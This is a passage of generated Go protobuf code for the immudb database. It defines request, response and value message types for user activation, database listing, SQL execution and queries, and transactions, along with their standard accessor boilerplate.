file_schema_proto_rawDescGZIP(), []int{102} } type SetActiveUserRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // If true, the user is active Active bool `protobuf:"varint,1,opt,name=active,proto3" json:"active,omitempty"` // Name of the user to activate / deactivate Username string `protobuf:"bytes,2,opt,name=username,proto3" json:"username,omitempty"` } func (x *SetActiveUserRequest) Reset() { *x = SetActiveUserRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SetActiveUserRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*SetActiveUserRequest) ProtoMessage() {} func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SetActiveUserRequest.ProtoReflect.Descriptor instead. func (*SetActiveUserRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{103} } func (x *SetActiveUserRequest) GetActive() bool { if x != nil { return x.Active } return false } func (x *SetActiveUserRequest) GetUsername() string { if x != nil { return x.Username } return "" } type DatabaseListResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database list Databases []*Database `protobuf:"bytes,1,rep,name=databases,proto3" json:"databases,omitempty"` } func (x *DatabaseListResponse) Reset() { *x = DatabaseListResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseListResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseListResponse) ProtoMessage() {} func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseListResponse.ProtoReflect.Descriptor instead. func (*DatabaseListResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{104} } func (x *DatabaseListResponse) GetDatabases() []*Database { if x != nil { return x.Databases } return nil } type DatabaseListRequestV2 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *DatabaseListRequestV2) Reset() { *x = DatabaseListRequestV2{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseListRequestV2) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseListRequestV2) ProtoMessage() {} func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseListRequestV2.ProtoReflect.Descriptor instead. func (*DatabaseListRequestV2) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{105} } type DatabaseListResponseV2 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database list with current database settings Databases []*DatabaseInfo `protobuf:"bytes,1,rep,name=databases,proto3" json:"databases,omitempty"` } func (x *DatabaseListResponseV2) Reset() { *x = DatabaseListResponseV2{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseListResponseV2) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseListResponseV2) ProtoMessage() {} func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseListResponseV2.ProtoReflect.Descriptor instead. func (*DatabaseListResponseV2) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{106} } func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseInfo { if x != nil { return x.Databases } return nil } type DatabaseInfo struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` // Current database settings Settings *DatabaseNullableSettings `protobuf:"bytes,2,opt,name=settings,proto3" json:"settings,omitempty"` // If true, this database is currently loaded into memory Loaded bool `protobuf:"varint,3,opt,name=loaded,proto3" json:"loaded,omitempty"` // database disk size DiskSize uint64 `protobuf:"varint,4,opt,name=diskSize,proto3" json:"diskSize,omitempty"` // total number of transactions NumTransactions uint64 `protobuf:"varint,5,opt,name=numTransactions,proto3" json:"numTransactions,omitempty"` // the time when the db was created CreatedAt uint64 `protobuf:"varint,6,opt,name=created_at,json=createdAt,proto3" json:"created_at,omitempty"` // the user who created the database CreatedBy string `protobuf:"bytes,7,opt,name=created_by,json=createdBy,proto3" json:"created_by,omitempty"` } func (x *DatabaseInfo) Reset() { *x = DatabaseInfo{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseInfo) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseInfo) ProtoMessage() {} func (x *DatabaseInfo) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseInfo.ProtoReflect.Descriptor instead. func (*DatabaseInfo) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{107} } func (x *DatabaseInfo) GetName() string { if x != nil { return x.Name } return "" } func (x *DatabaseInfo) GetSettings() *DatabaseNullableSettings { if x != nil { return x.Settings } return nil } func (x *DatabaseInfo) GetLoaded() bool { if x != nil { return x.Loaded } return false } func (x *DatabaseInfo) GetDiskSize() uint64 { if x != nil { return x.DiskSize } return 0 } func (x *DatabaseInfo) GetNumTransactions() uint64 { if x != nil { return x.NumTransactions } return 0 } func (x *DatabaseInfo) GetCreatedAt() uint64 { if x != nil { return x.CreatedAt } return 0 } func (x *DatabaseInfo) GetCreatedBy() string { if x != nil { return x.CreatedBy } return "" } type Chunk struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Content []byte `protobuf:"bytes,1,opt,name=content,proto3" json:"content,omitempty"` Metadata map[string][]byte `protobuf:"bytes,2,rep,name=metadata,proto3" json:"metadata,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` } func (x *Chunk) Reset() { *x = Chunk{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Chunk) String() string { return protoimpl.X.MessageStringOf(x) } func (*Chunk) ProtoMessage() {} func (x *Chunk) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Chunk.ProtoReflect.Descriptor instead. func (*Chunk) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{108} } func (x *Chunk) GetContent() []byte { if x != nil { return x.Content } return nil } func (x *Chunk) GetMetadata() map[string][]byte { if x != nil { return x.Metadata } return nil } type UseSnapshotRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields SinceTx uint64 `protobuf:"varint,1,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` AsBeforeTx uint64 `protobuf:"varint,2,opt,name=asBeforeTx,proto3" json:"asBeforeTx,omitempty"` } func (x *UseSnapshotRequest) Reset() { *x = UseSnapshotRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UseSnapshotRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*UseSnapshotRequest) ProtoMessage() {} func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UseSnapshotRequest.ProtoReflect.Descriptor instead. func (*UseSnapshotRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{109} } func (x *UseSnapshotRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *UseSnapshotRequest) GetAsBeforeTx() uint64 { if x != nil { return x.AsBeforeTx } return 0 } type SQLExecRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // SQL query Sql string `protobuf:"bytes,1,opt,name=sql,proto3" json:"sql,omitempty"` // Named query parameters Params []*NamedParam `protobuf:"bytes,2,rep,name=params,proto3" json:"params,omitempty"` // If true, do not wait for the indexer to index written changes NoWait bool `protobuf:"varint,3,opt,name=noWait,proto3" json:"noWait,omitempty"` } func (x *SQLExecRequest) Reset() { *x = SQLExecRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLExecRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLExecRequest) ProtoMessage() {} func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLExecRequest.ProtoReflect.Descriptor instead. func (*SQLExecRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{110} } func (x *SQLExecRequest) GetSql() string { if x != nil { return x.Sql } return "" } func (x *SQLExecRequest) GetParams() []*NamedParam { if x != nil { return x.Params } return nil } func (x *SQLExecRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } type SQLQueryRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // SQL query Sql string `protobuf:"bytes,1,opt,name=sql,proto3" json:"sql,omitempty"` // Named query parameters Params []*NamedParam `protobuf:"bytes,2,rep,name=params,proto3" json:"params,omitempty"` // If true, reuse previously opened snapshot // // Deprecated: Marked as deprecated in schema.proto. ReuseSnapshot bool `protobuf:"varint,3,opt,name=reuseSnapshot,proto3" json:"reuseSnapshot,omitempty"` // Wheter the client accepts a streaming response AcceptStream bool `protobuf:"varint,4,opt,name=acceptStream,proto3" json:"acceptStream,omitempty"` } func (x *SQLQueryRequest) Reset() { *x = SQLQueryRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLQueryRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLQueryRequest) ProtoMessage() {} func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLQueryRequest.ProtoReflect.Descriptor instead. func (*SQLQueryRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{111} } func (x *SQLQueryRequest) GetSql() string { if x != nil { return x.Sql } return "" } func (x *SQLQueryRequest) GetParams() []*NamedParam { if x != nil { return x.Params } return nil } // Deprecated: Marked as deprecated in schema.proto. func (x *SQLQueryRequest) GetReuseSnapshot() bool { if x != nil { return x.ReuseSnapshot } return false } func (x *SQLQueryRequest) GetAcceptStream() bool { if x != nil { return x.AcceptStream } return false } type NamedParam struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Parameter name Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` // Parameter value Value *SQLValue `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` } func (x *NamedParam) Reset() { *x = NamedParam{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NamedParam) String() string { return protoimpl.X.MessageStringOf(x) } func (*NamedParam) ProtoMessage() {} func (x *NamedParam) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NamedParam.ProtoReflect.Descriptor instead. func (*NamedParam) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{112} } func (x *NamedParam) GetName() string { if x != nil { return x.Name } return "" } func (x *NamedParam) GetValue() *SQLValue { if x != nil { return x.Value } return nil } type SQLExecResult struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of committed transactions as a result of the exec operation Txs []*CommittedSQLTx `protobuf:"bytes,5,rep,name=txs,proto3" json:"txs,omitempty"` // If true, there's an ongoing transaction after exec completes OngoingTx bool `protobuf:"varint,6,opt,name=ongoingTx,proto3" json:"ongoingTx,omitempty"` } func (x *SQLExecResult) Reset() { *x = SQLExecResult{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLExecResult) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLExecResult) ProtoMessage() {} func (x *SQLExecResult) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLExecResult.ProtoReflect.Descriptor instead. func (*SQLExecResult) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{113} } func (x *SQLExecResult) GetTxs() []*CommittedSQLTx { if x != nil { return x.Txs } return nil } func (x *SQLExecResult) GetOngoingTx() bool { if x != nil { return x.OngoingTx } return false } type CommittedSQLTx struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction header Header *TxHeader `protobuf:"bytes,1,opt,name=header,proto3" json:"header,omitempty"` // Number of updated rows UpdatedRows uint32 `protobuf:"varint,2,opt,name=updatedRows,proto3" json:"updatedRows,omitempty"` // The value of last inserted auto_increment primary key (mapped by table name) LastInsertedPKs map[string]*SQLValue `protobuf:"bytes,3,rep,name=lastInsertedPKs,proto3" json:"lastInsertedPKs,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` // The value of first inserted auto_increment primary key (mapped by table name) FirstInsertedPKs map[string]*SQLValue `protobuf:"bytes,4,rep,name=firstInsertedPKs,proto3" json:"firstInsertedPKs,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` } func (x *CommittedSQLTx) Reset() { *x = CommittedSQLTx{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CommittedSQLTx) String() string { return protoimpl.X.MessageStringOf(x) } func (*CommittedSQLTx) ProtoMessage() {} func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CommittedSQLTx.ProtoReflect.Descriptor instead. func (*CommittedSQLTx) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{114} } func (x *CommittedSQLTx) GetHeader() *TxHeader { if x != nil { return x.Header } return nil } func (x *CommittedSQLTx) GetUpdatedRows() uint32 { if x != nil { return x.UpdatedRows } return 0 } func (x *CommittedSQLTx) GetLastInsertedPKs() map[string]*SQLValue { if x != nil { return x.LastInsertedPKs } return nil } func (x *CommittedSQLTx) GetFirstInsertedPKs() map[string]*SQLValue { if x != nil { return x.FirstInsertedPKs } return nil } type SQLQueryResult struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Result columns description Columns []*Column `protobuf:"bytes,2,rep,name=columns,proto3" json:"columns,omitempty"` // Result rows Rows []*Row `protobuf:"bytes,1,rep,name=rows,proto3" json:"rows,omitempty"` } func (x *SQLQueryResult) Reset() { *x = SQLQueryResult{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLQueryResult) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLQueryResult) ProtoMessage() {} func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLQueryResult.ProtoReflect.Descriptor instead. func (*SQLQueryResult) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{115} } func (x *SQLQueryResult) GetColumns() []*Column { if x != nil { return x.Columns } return nil } func (x *SQLQueryResult) GetRows() []*Row { if x != nil { return x.Rows } return nil } type Column struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Column name Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` // Column type Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` } func (x *Column) Reset() { *x = Column{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Column) String() string { return protoimpl.X.MessageStringOf(x) } func (*Column) ProtoMessage() {} func (x *Column) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Column.ProtoReflect.Descriptor instead. func (*Column) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{116} } func (x *Column) GetName() string { if x != nil { return x.Name } return "" } func (x *Column) GetType() string { if x != nil { return x.Type } return "" } type Row struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Column names Columns []string `protobuf:"bytes,1,rep,name=columns,proto3" json:"columns,omitempty"` // Column values Values []*SQLValue `protobuf:"bytes,2,rep,name=values,proto3" json:"values,omitempty"` } func (x *Row) Reset() { *x = Row{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Row) String() string { return protoimpl.X.MessageStringOf(x) } func (*Row) ProtoMessage() {} func (x *Row) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Row.ProtoReflect.Descriptor instead. func (*Row) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{117} } func (x *Row) GetColumns() []string { if x != nil { return x.Columns } return nil } func (x *Row) GetValues() []*SQLValue { if x != nil { return x.Values } return nil } type SQLValue struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Types that are assignable to Value: // // *SQLValue_Null // *SQLValue_N // *SQLValue_S // *SQLValue_B // *SQLValue_Bs // *SQLValue_Ts // *SQLValue_F Value isSQLValue_Value `protobuf_oneof:"value"` } func (x *SQLValue) Reset() { *x = SQLValue{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLValue) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLValue) ProtoMessage() {} func (x *SQLValue) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLValue.ProtoReflect.Descriptor instead. func (*SQLValue) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{118} } func (m *SQLValue) GetValue() isSQLValue_Value { if m != nil { return m.Value } return nil } func (x *SQLValue) GetNull() structpb.NullValue { if x, ok := x.GetValue().(*SQLValue_Null); ok { return x.Null } return structpb.NullValue(0) } func (x *SQLValue) GetN() int64 { if x, ok := x.GetValue().(*SQLValue_N); ok { return x.N } return 0 } func (x *SQLValue) GetS() string { if x, ok := x.GetValue().(*SQLValue_S); ok { return x.S } return "" } func (x *SQLValue) GetB() bool { if x, ok := x.GetValue().(*SQLValue_B); ok { return x.B } return false } func (x *SQLValue) GetBs() []byte { if x, ok := x.GetValue().(*SQLValue_Bs); ok { return x.Bs } return nil } func (x *SQLValue) GetTs() int64 { if x, ok := x.GetValue().(*SQLValue_Ts); ok { return x.Ts } return 0 } func (x *SQLValue) GetF() float64 { if x, ok := x.GetValue().(*SQLValue_F); ok { return x.F } return 0 } type isSQLValue_Value interface { isSQLValue_Value() } type SQLValue_Null struct { Null structpb.NullValue `protobuf:"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof"` } type SQLValue_N struct { N int64 `protobuf:"varint,2,opt,name=n,proto3,oneof"` } type SQLValue_S struct { S string `protobuf:"bytes,3,opt,name=s,proto3,oneof"` } type SQLValue_B struct { B bool `protobuf:"varint,4,opt,name=b,proto3,oneof"` } type SQLValue_Bs struct { Bs []byte `protobuf:"bytes,5,opt,name=bs,proto3,oneof"` } type SQLValue_Ts struct { Ts int64 `protobuf:"varint,6,opt,name=ts,proto3,oneof"` } type SQLValue_F struct { F float64 `protobuf:"fixed64,7,opt,name=f,proto3,oneof"` } func (*SQLValue_Null) isSQLValue_Value() {} func (*SQLValue_N) isSQLValue_Value() {} func (*SQLValue_S) isSQLValue_Value() {} func (*SQLValue_B) isSQLValue_Value() {} func (*SQLValue_Bs) isSQLValue_Value() {} func (*SQLValue_Ts) isSQLValue_Value() {} func (*SQLValue_F) isSQLValue_Value() {} type NewTxRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction mode Mode TxMode `protobuf:"varint,1,opt,name=mode,proto3,enum=immudb.schema.TxMode" json:"mode,omitempty"` // An existing snapshot may be reused as long as it includes the specified transaction // If not specified it will include up to the latest precommitted transaction SnapshotMustIncludeTxID *NullableUint64 `protobuf:"bytes,2,opt,name=snapshotMustIncludeTxID,proto3" json:"snapshotMustIncludeTxID,omitempty"` // An existing snapshot may be reused as long as it is not older than the specified timeframe SnapshotRenewalPeriod *NullableMilliseconds `protobuf:"bytes,3,opt,name=snapshotRenewalPeriod,proto3" json:"snapshotRenewalPeriod,omitempty"` // Indexing may not be up to date when doing MVCC UnsafeMVCC bool `protobuf:"varint,4,opt,name=unsafeMVCC,proto3" json:"unsafeMVCC,omitempty"` } func (x *NewTxRequest) Reset() { *x = NewTxRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NewTxRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*NewTxRequest) ProtoMessage() {} func (x *NewTxRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NewTxRequest.ProtoReflect.Descriptor instead. func (*NewTxRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{119} } func (x *NewTxRequest) GetMode() TxMode { if x != nil { return x.Mode } return TxMode_ReadOnly } func (x *NewTxRequest) GetSnapshotMustIncludeTxID() *NullableUint64 { if x != nil { return x.SnapshotMustIncludeTxID } return nil } func (x *NewTxRequest) GetSnapshotRenewalPeriod() *NullableMilliseconds { if x != nil { return x.SnapshotRenewalPeriod } return nil } func (x *NewTxRequest) GetUnsafeMVCC() bool { if x != nil { return x.UnsafeMVCC } return false } type NewTxResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Internal transaction ID TransactionID string `protobuf:"bytes,1,opt,name=transactionID,proto3" json:"transactionID,omitempty"` } func (x *NewTxResponse) Reset() { *x = NewTxResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NewTxResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*NewTxResponse) ProtoMessage() {} func (x *NewTxResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NewTxResponse.ProtoReflect.Descriptor instead. func (*NewTxResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{120} } func (x *NewTxResponse) GetTransactionID() string { if x != nil { return x.TransactionID } return "" } type ErrorInfo struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Error code Code string `protobuf:"bytes,1,opt,name=code,proto3" json:"code,omitempty"` // Error Description Cause string `protobuf:"bytes,2,opt,name=cause,proto3" json:"cause,omitempty"` } func (x *ErrorInfo) Reset() { *x = ErrorInfo{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ErrorInfo) String() string { return protoimpl.X.MessageStringOf(x) } func (*ErrorInfo) ProtoMessage() {} func (x *ErrorInfo) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ErrorInfo.ProtoReflect.Descriptor instead. func (*ErrorInfo) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{121} } func (x *ErrorInfo) GetCode() string { if x != nil { return x.Code } return "" } func (x *ErrorInfo) GetCause() string { if x != nil { return x.Cause } return "" } type DebugInfo struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Stack trace when the error was noticed Stack string `protobuf:"bytes,1,opt,name=stack,proto3" json:"stack,omitempty"` } func (x *DebugInfo) Reset() { *x = DebugInfo{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DebugInfo) String() string { return protoimpl.X.MessageStringOf(x) } func (*DebugInfo) ProtoMessage() {} func (x *DebugInfo) ProtoReflect() protoreflect.Message { 